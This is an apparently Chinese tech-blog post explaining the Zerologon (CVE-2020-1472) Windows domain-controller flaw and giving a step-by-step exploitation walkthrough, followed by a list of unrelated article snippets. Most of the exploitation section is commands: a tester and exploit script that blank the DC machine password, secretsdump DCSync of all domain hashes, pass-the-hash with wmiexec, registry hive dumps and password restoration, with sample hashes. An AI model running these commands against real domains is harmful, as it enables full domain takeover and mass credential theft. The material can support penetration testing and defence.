【技术分享】NetLogon于域内提权漏洞(CVE-2020-1472)
一、漏洞介绍
CVE-2020-1472是一个Windows域控中严重的远程权限提升漏洞。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。该漏洞适用于Win2008及后的所有版本。
二、漏洞原理
Netlogon使用的AES认证算法中的vi向量默认为0。这将导致攻击者可以绕过认证,并向域发起Netlogon计算机账户认证请求。攻击者可以使用8字节全0 client challenge 不断尝试,从而得到一个正确的8字节全0 client credential以通过认证,再通过相关调用完成对域控密码的修改。
攻击者只需要定位域控主机名及IP,同时确认可以访问域控,就可以在无需任何凭据的情况下 (可在域外) 取得域管理员的权限。
三、漏洞复现
1、使用工具检测域控是否存在该漏洞。若能返回Success,则说明DC存在漏洞。
python3 zerologon_tester.py 域控计算机名称 域控ip
python3 zerologon_tester.py owa 10.10.10.8

2、使用exploit漏洞脚本重置域控机器账号。
域控计算机名python3 cve-2020-1472-exploit.py
域控ip python3
cve-2020-1472-exploit.py owa 10.10.10.8

3、使用impacket里的脚本和使用DCSync导出域内所有的用户凭证。
python3 secretsdump.py 域/域控计算机名$@域控ip -just-dc -no-pass #linux利用时$需要转义为\$ windows不需要转义 -no-pass 无密码登录 -just-dc. 仅提取NTDS.DIT数据(NTLM哈希和Kerberos键)
python3 secretsdump.py redteam.red/owa\$@10.10.10.8 -just-dc -no-pass

此时,获取到域管的Hash。
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7:::
4、通过wmic hash进行传递。
python3 wmiexec.py -hashes 账户hash 域/账户名@域控ip python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7 redteam.red/administrator@10.10.10.8

5、为了防止脱域,通过将SAM系统等文件导出到本地,以获取此前在域控制机器上保存的hash值,然后用于进行系统的恢复操作。
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
lget system.save
lget sam.save
lget security.save
下载后,务必删除文件 del /f *.save。

6、通过导出sam.save、security.save和system.save等文件,获取域控制机器上保存的NTLM Hash值,并将其用于密码恢复操作。
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

7、通过取得$MACHINE.ACC:的值的后半部分或者$MACHINE.ACC:plain_password_hex的值,对其进⾏恢复。
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:b3b0675e639b4efb2980bc22dd05a37e
$MACHINE.ACC:plain_password_hex:781a2beba2659bc7f184086fdf71440c54da34629fda115cabd39cb9e32846df3cf01dca22cc14ec289c867034c9dbc16ccc201f6db3e8dde620e6f4093353708271c00aa5c22974e41f3d7e10bcc809225ae99d1a841dbcf353a0a9ed4c1bf12cbbe5f20771957692632af762469c28aedc7b7d41860a3fd45275abe23eb54ebde6c073d4d96e855969c360c52b8df2a808027e34280cfe6be69082a0a10a5791ac8c1886a60e377562332770ed45e17282472461d5972a3e43ebaf2406033105a40f486ffb54af9e37979e0a75a87c99b08d0ae71beb836f64eca79af84199ed388595f90be931d480fcfc64054c75
注意只取“$MACHINE.ACC: ”的值的后半部分:b3b0675e639b4efb2980bc22dd05a37e
python3 restorepassword.py 域/预控计算机名称@预控计算机名称 --tar-ip 域控ip -hexpass $MACHINE.ACC:的值的后半部分 python3 restorepassword.py redteam.red/owa@owa -target-ip 10.10.10.8 -hexpass 9c786d87f82b46071818e5bda3a9faab

此时可以使用脚本来检测是否已经恢复密码成功。
python3 secretsdump.py redteam.red/owa\$@10.10.10.8 -no-pass -just-dc

此时已⽆法获取到域内所有⽤户凭证 hash,⾄此恢复成功。
漏洞成功利用后,Windows安全日志将以事件ID 4742的形式显示相关信息。
在实际应用环境中,需要务必注意的是,该漏洞利用可能会导致域控制器的账户和密码被清空,进而可能影响域内的运行情况。例如,某些服务可能无法正常运行,甚至可能导致域成员从域中脱离。这是一个严重的问题,需要予以重视。
相关文章:
【技术分享】NetLogon于域内提权漏洞(CVE-2020-1472)
一、漏洞介绍 CVE-2020-1472是一个Windows域控中严重的远程权限提升漏洞。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。该漏洞适用于Win2008及后…...
python学习之【模块】
前言 上一篇文章 python学习之【深拷贝】中学习了python中的深浅拷贝学习内容,这篇文章接着学习python中的模块。 什么是模块 在python中,一个文件(以“.py”为后缀名的文件)就叫做一个模块,每一个模块在python里都…...
dns电脑服务器发生故障怎么修复
DNS电脑服务器发生故障可能会导致网络连接问题、网页无法访问、或者电子邮件无法发送等情况。修复DNS电脑服务器故障可以采取多种方法,例如检查网络连接、更换DNS服务器等措施。当DNS电脑服务器发生故障时,可以采取以下修复措施: 尝试刷新DNS…...
Python项目Flask ipv6双栈支持改造
一、背景 Flask 是一个微型的(轻量)使用Python 语言开发的 WSGI Web 框架(一组库和模块),基于Werkzeug WSGI工具箱/库和Jinja2 模板引擎,当然,Python的WEB框架还有:Django、Tornado、Webpy,这暂且不提。 Flask使用BSD授权。 Flask也被称为microframework(微框架),F…...
hcia 目的mac为(单播 组播 广播)mac
从下往上看...
专栏十:10X单细胞的聚类树绘图
经常在文章中看到对细胞群进行聚类,以证明两个cluster之间的相关性,这里总结两种绘制这种图的方式和代码,当然我觉得这些五颜六色的颜色可能是后期加的,本帖子只总结画树状图的方法 例一 文章Single-cell analyses implicate ascites in remodeling the ecosystems of pr…...
linux查找命令使用的正则表达式
正则表达式是一种用于匹配和操作文本的强大工具,它是由一系列字符和特殊字符组成的模式,用于描述要匹配的文本模式。 正则表达式可以在文本中查找、替换、提取和验证特定的模式。 一般的查找命令是:grep,sed,awk 元字…...
ffmpeg6.0编译(NDK)
ffmpeg 6.0 支持vulkan 需要手动安装Vulkan 并将include里面的vk_video 和 vulkan 拷贝到 android-ndk-r25c/toolchains/llvm/prebuilt/linux-x86_64/sysroot/usr/include/ vulkan 下载 cp -r vk_video $NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/sysroot/usr/include/…...
达观RPA实战-编码与解码
一、应用背景 项目中我们经常需要获取某个服务的JSON数据。如果响应返回的是JSON格式的数据,客户端通过JSON工具可正常解析。但如果碰到值里面有中文的,特别是返回的格式是类似“{"name": "\u5927\u7231\u4e2d\u56fd"}”处理起来会比较麻烦。本文将从编…...
配置Swagger开发环境有效,生产环境无效
安全扫描:通用信息泄漏【未授权访问ip:端口号/swagger-ui.html】 步骤一:配置启用变量【开发环境可用生产环境不可用】 application-dev.yml: swagger:enable: true application-pro.yml: swagger:enable: false 步骤二:根据配置变量控…...
Jmeter系列-线程组的执行顺序(10)
重点 每个测试计划至少需要有一个线程组 线程组下不同组件的执行优先级/顺序 1、配置元件、监听器 2、前置处理器 3、定时器 4、逻辑控制器 5、取样器 6、后置处理器 7、断言 取样器执行顺序 在没有逻辑控制器情况下,取样器是按从上往下的顺序执行的 参考文章…...
c# 面试题
简述 private、 protected、 public、 internal 修饰符的访问权限。 答: Private(拍非得) : 私有成员, 在类的内部才可以访问。 protected (普泰忒): 保护成员,该类内部和继承类中可以访问。 Publ…...
目录优先的图片库网站PiGallery2
什么是 PiGallery2 ? PiGallery2 是一个快速的目录优先的图片库网站,具有丰富的用户界面,针对在低资源服务器(尤其是树莓派)上运行进行了优化 所谓 目录优先 是指,这种网站的设计是以显示不同的目录&#x…...
17-垃圾回收相关概念
目录 一、System.gc()的理解二、内存溢出和内存泄漏2、内存泄漏 三、Stop the World1、什么是 stop the word ? 四、垃圾回收的并行和并发1、并发和并发2、垃圾回收的并行和并发 五、安全点与安全区域1、什么是安全点?2、安全区域 六、强引用(不可回收&…...
Ubuntu-server 22.04LTS源码编译apache服务器
1 系统环境 # cat /etc/os-release PRETTY_NAME"Ubuntu 22.04.3 LTS" NAME"Ubuntu" VERSION_ID"22.04" VERSION"22.04.3 LTS (Jammy Jellyfish)" VERSION_CODENAMEjammy IDubuntu ID_LIKEdebian HOME_URL"https://www.ubuntu.co…...
科技资讯|苹果虚拟纸可在Vision Pro中为广告、书籍等提供MR内容和动画
近日,美国专利商标局正式授予苹果一项与虚拟纸张相关的专利。这是与虚拟纸张这项发明相关的第二项专利,鉴于苹果 Vision Pro 将于明年上市,那么我们离苹果实现虚拟纸张的发明又近了一步。 虚拟纸张将能够包含 2D、3D 和动画等 MR内容&#…...
JavaScript-promise使用+状态
Promise 什么是PromisePromise对象就是异步操作的最终完成和失败的结果; Promise的基本使用: 代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compati…...
xshell---git上传文件到gitee远程仓库配置
1.git下载 如果没有xshell下没有下载过git,可以参考这篇的教程:Linux配置安装 git 详细教程 下载后可以通过 git --version 查看git的版本号,验证是否安装成功 2.新建仓库 首先需要在gitee上注册一个账号 然后再主页面点击右上边框的 号…...
【GO语言基础】前言
系列文章目录 【Go语言学习】ide安装与配置 【GO语言基础】前言 【GO语言基础】变量常量 【GO语言基础】数据类型 文章目录 系列文章目录一、基础知识包和函数函数声明语法简洁性 括号成对出现GO常用DOS命令命名规则项目目录结构注释 总结 一、基础知识 包和函数 //声明本代…...
巧妙的设计
1. 判空逻辑,如果为空,抛异常,下面代码来自kafka client: Assert.notNull(queue, () -> "No cache found for " + txIdPrefix); 2. 本地cache设计,一下代码来自kafka client: private final Map<String, BlockingQueue<CloseSafeProducer<K, V&g…...
(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)
题目:3442. 奇偶频次间的最大差值 I 思路 :哈希,时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况,哈希表这里用数组即可实现。 C版本: class Solution { public:int maxDifference(string s) {int a[26]…...
【kafka】Golang实现分布式Masscan任务调度系统
要求: 输出两个程序,一个命令行程序(命令行参数用flag)和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽,然后将消息推送到kafka里面。 服务端程序: 从kafka消费者接收…...
Leetcode 3576. Transform Array to All Equal Elements
Leetcode 3576. Transform Array to All Equal Elements 1. 解题思路2. 代码实现 题目链接:3576. Transform Array to All Equal Elements 1. 解题思路 这一题思路上就是分别考察一下是否能将其转化为全1或者全-1数组即可。 至于每一种情况是否可以达到…...
MFC内存泄露
1、泄露代码示例 void X::SetApplicationBtn() {CMFCRibbonApplicationButton* pBtn GetApplicationButton();// 获取 Ribbon Bar 指针// 创建自定义按钮CCustomRibbonAppButton* pCustomButton new CCustomRibbonAppButton();pCustomButton->SetImage(IDB_BITMAP_Jdp26)…...
使用分级同态加密防御梯度泄漏
抽象 联邦学习 (FL) 支持跨分布式客户端进行协作模型训练,而无需共享原始数据,这使其成为在互联和自动驾驶汽车 (CAV) 等领域保护隐私的机器学习的一种很有前途的方法。然而,最近的研究表明&…...
376. Wiggle Subsequence
376. Wiggle Subsequence 代码 class Solution { public:int wiggleMaxLength(vector<int>& nums) {int n nums.size();int res 1;int prediff 0;int curdiff 0;for(int i 0;i < n-1;i){curdiff nums[i1] - nums[i];if( (prediff > 0 && curdif…...
HBuilderX安装(uni-app和小程序开发)
下载HBuilderX 访问官方网站:https://www.dcloud.io/hbuilderx.html 根据您的操作系统选择合适版本: Windows版(推荐下载标准版) Windows系统安装步骤 运行安装程序: 双击下载的.exe安装文件 如果出现安全提示&…...
Spring AI 入门:Java 开发者的生成式 AI 实践之路
一、Spring AI 简介 在人工智能技术快速迭代的今天,Spring AI 作为 Spring 生态系统的新生力量,正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务(如 OpenAI、Anthropic)的无缝对接&…...
鱼香ros docker配置镜像报错:https://registry-1.docker.io/v2/
使用鱼香ros一件安装docker时的https://registry-1.docker.io/v2/问题 一键安装指令 wget http://fishros.com/install -O fishros && . fishros出现问题:docker pull 失败 网络不同,需要使用镜像源 按照如下步骤操作 sudo vi /etc/docker/dae…...
【JavaSE】绘图与事件入门学习笔记
-Java绘图坐标体系 坐标体系-介绍 坐标原点位于左上角,以像素为单位。 在Java坐标系中,第一个是x坐标,表示当前位置为水平方向,距离坐标原点x个像素;第二个是y坐标,表示当前位置为垂直方向,距离坐标原点y个像素。 坐标体系-像素 …...
